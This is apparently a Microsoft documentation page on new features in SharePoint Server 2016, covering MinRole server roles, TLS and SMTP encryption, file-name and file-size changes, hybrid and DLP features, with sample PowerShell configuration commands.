The state of Central Administration does not affect whether a server is considered compliant with MinRole. The MinRole health rule will not attempt to provision or unprovision Central Administration.

The document deletion policy allows you to delete documents in users' OneDrive for Business sites after specific periods of time. The In-Place Hold policy allows administrators to preserve documents, email, and other files.
For more information, see Overview of document deletion policies.

The following features are now available for working in SharePoint Server 2016 document libraries:
  • Landmarks to a page make it easier to navigate, and there are alt text improvements for all major navigation links.
  • Keyboard shortcuts are provided for the following document tasks:
    • Alt + N - New
    • Alt + E - Edit
    • Alt + U - Upload
    • Alt + M - Manage
    • Alt + S - Share
    • Alt + Y - Synchronization
  • Focus improvements, such as keeping focus on prior elements and focus trapping.
  • Announcements for upload progress.
  • Announcements for file name and file types when browsing folder and file lists.
  • Improved callout reading.
  • Fixed use of color issues for views switcher.
  • Updates to the Help documentation.

When you set up an SSL binding in Internet Information Services (IIS) Manager to host your web application, SharePoint uses TLS 1.2 connection encryption if your client application supports it. SharePoint also supports TLS 1.2 connection encryption when connecting to other systems, for example when crawling websites.
NoteNote:
A security vulnerability was identified in the SSL 3.0 protocol that can allow an attacker to decrypt data. For enhanced security, some SharePoint features now disable SSL 3.0 connection encryption by default, as well as certain encryption algorithms (for example RC4) with known weaknesses.
ImportantImportant:
SharePoint Preview customers should test all of their SSL/TLS/HTTPS connection scenarios with SharePoint Server 2016. We recommend that connection testing includes any third-party software that might integrate with SharePoint Server 2016.

This new feature provides templates that work at same level as SQL Server, which reduces the round trips required between the SharePoint and SQL servers. Use the SPSiteMaster Windows PowerShell cmdlets to create sites and site collections quickly, see Use Windows PowerShell cmdlets to manage sites in SharePoint Server 2016.

SharePoint has historically blocked file names that included the &, ~, {, and } characters, file names that contained a GUID, file names with leading dots, and file names longer than 128 characters. These restrictions are removed in SharePoint Server 2016 and are now available to use.
ImportantImportant:
Restricted characters such as % and # are still not allowed in file names.

In SharePoint Server 2016, new hybrid features are available to enable hybrid solutions.
Hybrid sites
Hybrid sites features allows your users to have an integrated experience while using SharePoint Server and SharePoint Online sites:
  • Users can follow SharePoint Server and SharePoint Online sites, and see them consolidated in a single list.
  • Users have a single profile in Office 365, where all of their profile information is stored.
For more information, see Plan for hybrid sites features.
Hybrid OneDrive for Business
Hybrid sites features are used in concert with Hybrid OneDrive for Business (introduced in SharePoint Server 2013 with Service Pack 1 (SP1)):
  • Users can sync files with Office 365 and share them with others.
  • Users can access their files directly through Office 365 from any device.
Cloud hybrid search
Cloud hybrid search is a new hybrid search solution alternative. With cloud hybrid search:
  • You index all of your crawled content, including on-premises content, to your search index in Office 365. You can set up the crawler in SharePoint Server 2016 to crawl the same content sources and use the same search connectors in Office SharePoint Server 2007, SharePoint Server 2010, and SharePoint Server 2013.
  • When users query your search index in Office 365, they get unified search results from both on-premises and Office 365 content.
For more information about cloud hybrid search, see the public Microsoft cloud hybrid search program on Microsoft Office connection.
For more information, see Plan for hybrid OneDrive for Business.
For more information about the hybrid solutions available today, please visit the SharePoint Hybrid Solutions Center.

With this new capability, you can:
  • Search for sensitive content across SharePoint Server 2016, SharePoint Online, and OneDrive for Business.
  • Leverage 51 built-in sensitive information types (credit cards, passport numbers, Social Security numbers, and more).
  • Use DLP Queries from the eDiscovery site collection to discover sensitive content relating to common industry regulations from the SharePoint eDiscovery Center, identify offending documents, and export a report.
  • Turn on DLP Policies from the Compliance Policy Center site collection to notify end users and administrators when documents with sensitive information are stored in SharePoint and automatically protect the documents from improper sharing.
Information on configuring and using this feature is documented in SharePoint Online and Office 365. For more information, see:

In SharePoint Server 2016 when you post images and videos to a document library, you can see a preview by hovering the mouse over the image or video, or by clicking on them.

Previous versions of SharePoint did not support uploading or downloading files larger than 2,047 MB. SharePoint 2016 now allows you to upload or download larger files. You can configure the desired maximum file-size limit on a per-web application basis in your SharePoint farm.

The role of a server is specified when you create a new farm or join a server to an existing farm. SharePoint automatically configures the services on each server based on the server role, optimizing the performance of the farm based on that topology. There are six predefined server roles that are available, as shown in the following table.

 

Server roleDescription
Front-endService applications, services, and components that serve user requests belong on front-end web servers. These servers are optimized for low latency.
ApplicationService applications, services, and components that serve back-end requests, such as background jobs or search crawl requests, belong on Application servers. These servers are optimized for high throughput.
Distributed CacheService applications, services, and components that are required for a distributed cache belong on Distributed Cache servers.
SearchService applications, services, and components that are required for search belong on Search servers.
CustomCustom service applications, services, and components that do not integrate with MinRole belong on Custom servers. The farm administrator has full control over which service instances can run on servers assigned to the Custom role. MinRole does not control which service instances are provisioned on this role.
Single-Server FarmService applications, services, and components required for a single-machine farm belong on a Single-Server Farm. A Single-Server Farm is meant for development, testing, and very limited production use. A SharePoint farm with the Single-Server Farm role cannot have more than one SharePoint server in the farm.
ImportantImportant:
The Standalone Install mode is no longer available in SharePoint Server 2016. The Single-Server Farm role replaces the Standalone Install mode available in previous SharePoint Server releases. Unlike Standalone Install, the SharePoint administrator must separately install and prepare Microsoft SQL Server for SharePoint. The SharePoint administrator must also configure the SharePoint farm services and web applications, either manually or by running the Farm Configuration Wizard.
For more information about the MinRole feature, see MinRole overview.

When you use a mobile device to access the home page for a SharePoint Server 2016 team site, you can tap tiles or links on the screen to navigate the site. You can also switch from the mobile view to PC view, which displays site pages as they are seen on a client computer. This view is also touch enabled.

You can click a control to create new Office documents, upload files, synchronize your files for offline use, and share your files. For more information, see “Simple controls” on The OneDrive Blog.

The Open Document Format (ODF) enables you to create new files in a document library and save as ODF files so that users can edit the new file with a program they choose. For more information, see Set Open Document Format (ODF) as the default file template for a library.

Project Server 2016 for SharePoint Server 2016 has many new capabilities and features. For more information, see What's new for IT pros in Project Server 2016.
ImportantImportant:
Project Server 2016 is installed with SharePoint Server 2016 Enterprise, though is licensed separately. For more information about Project Server licensing, see Licensing Project.
CSOM improvements have been made to scale and performance that cover the gap between object model and the PSI.

SQL Server 2016 CTP 3.1 is now available. You can now download SQL Server 2016 CTP 3.1 to use the Power Pivot for SharePoint add-in. You can also use Power View by installing SQL Server Reporting Services (SSRS) in SharePoint-integrated mode and the SSRS front-end add-in from the SQL Server installation media.
Download SQL Server 2016 CTP 3.1 from Microsoft Download Center.
The following SharePoint Server 2016 business intelligence features are available when you upgrade to SQL Server 2016 CTP 3.1:
  • Power Pivot Gallery
  • Scheduled Data Refresh
  • Workbooks as a Data Source
  • Power Pivot Management Dashboard
  • Power View reports
  • Power View Subscriptions
  • Report Alerting
For more information, download the new Deploying SQL Server 2016 PowerPivot and Power View in SharePoint 2016 white paper. For details about configuring and deploying business intelligence in a multiple server SharePoint Server 2016 farm, download Deploying SQL Server 2016 PowerPivot and Power View in a Multi-Tier SharePoint 2016 Farm.

SharePoint Request Manager now provisions on the server roles shown in the following list, to support both throttling and routing scenarios:
  • Application
  • Distributed Cache
  • Front-End
Additionally, the Request Manager service will no longer prevent sites from rendering when the service is enabled while you have no routing rules defined.

The following list shows the sharing improvements that are available for SharePoint Server 2016:

SharePoint Search supports indexing of up to 500 million items per Search Server application.

We've simplified the process for configuring Central Administration to use SSL bindings. The following command parameters are now available to use:
  • New-SPCentralAdministration -Port <number> -SecureSocketsLayer
  • Set-SPCentralAdministration -Port <number> -SecureSocketsLayer
  • Psconfig.exe -cmd adminvs -port <number> -ssl
You must assign a server certificate to the Central Administration IIS web site by using the IIS administration tools. The Central Administration web application won’t be accessible until you do this.
If you specify port 443, it will automatically create an SSL binding instead of an HTTP binding even if you don’t include the SecureSocketsLayer or SSL parameters.
The Central Administration public AAM URL will be automatically updated to use the appropriate protocol scheme, server name, and port number.

There are three options available for upgrading site collections. For more information, see Upgrade from SharePoint 2013 to SharePoint Server 2016 Release Candidate.

The following list shows the SharePoint 2016 requirements that are needed to negotiate connection encryption with an SMTP server:
  1. STARTTLS must be enabled on the SMTP server.
  2. The SMTP server must support the TLS 1.0, TLS 1.1, or TLS 1.2 protocol.
    ImportantImportant:
    SSL 2.0 and SSL 3.0 protocols are not supported.
  3. The SMTP server must have a server certificate installed.
  4. The server certificate must be valid. Typically, this means that the name of the server certificate must match the name of the SMTP server provided to SharePoint. The server certificate must also be issued by a certificate authority that is trusted by the SharePoint server.
  5. SharePoint must be configured to use SMTP connection encryption.
To configure SharePoint to always use SMTP connection encryption, open the SharePoint Central Administration website and browse to System Settings > Configure outgoing e-mail settings and set the Use TLS connection encryption drop-down menu to Yes. To configure SharePoint to always use SMTP connection encryption in Windows PowerShell, use the Set-SPWebApplication cmdlet without the DisableSMTPEncryption parameter. For example:
$WebApp = Get-SPWebApplication -IncludeCentralAdministration | ? { $_.IsAdministrationWebApplication -eq $true }

Set-SPWebApplication -Identity $WebApp -SMTPServer smtp.internal.contoso.com -OutgoingEmailAddress sharepoint@contoso.com -ReplyToEmailAddress sharepoint@contoso.com
To configure SharePoint to never use SMTP connection encryption in SharePoint Central Administration, browse to System Settings > Configure outgoing email settings and set the Use TLS connection encryption drop-down menu to No. To configure SharePoint to never use SMTP connection encryption in Windows PowerShell, use the Set-SPWebApplication cmdlet with the DisableSMTPEncryption parameter. For example:
$WebApp = Get-SPWebApplication -IncludeCentralAdministration | ? { $_.IsAdministrationWebApplication -eq $true }

Set-SPWebApplication -Identity $WebApp -SMTPServer smtp.internal.contoso.com -DisableSMTPEncryption -OutgoingEmailAddress sharepoint@contoso.com -ReplyToEmailAddress 
sharepoint@contoso.com
NoteNote:
If SharePoint is configured to use SMTP connection encryption, it will only send email messages if it successfully negotiates connection encryption with the SMTP server. It will not fall back and send email messages unencrypted if connection encryption negotiation fails. If SharePoint is not configured to use SMTP connection encryption, it will always send email messages unencrypted, even if the SMTP server supports connection encryption.

You can now pin sites that you see on the sites page. A pinned site shows at the top of the list of sites that you're following.

For more information, see "Site folders" in The OneDrive Blog.

You can now apply themes to your Suite Navigation.

To configure SharePoint to use a non-default SMTP port open SharePoint Central Administration, browse to System Settings > Configure outgoing email settings, and set the SMTP server port to the port number of your SMTP server. To configure SharePoint to use a non-default SMTP port in Windows PowerShell, use the Set-SPWebApplication cmdlet with the SMTPServerPort <port number> parameter. For example:
$WebApp = Get-SPWebApplication -IncludeCentralAdministration | ? { $_.IsAdministrationWebApplication -eq $true }

Set-SPWebApplication -Identity $WebApp -SMTPServer smtp.internal.contoso.com -SMTPServerPort 587 -OutgoingEmailAddress sharepoint@contoso.com -ReplyToEmailAddress 
sh  arepoint@contoso.com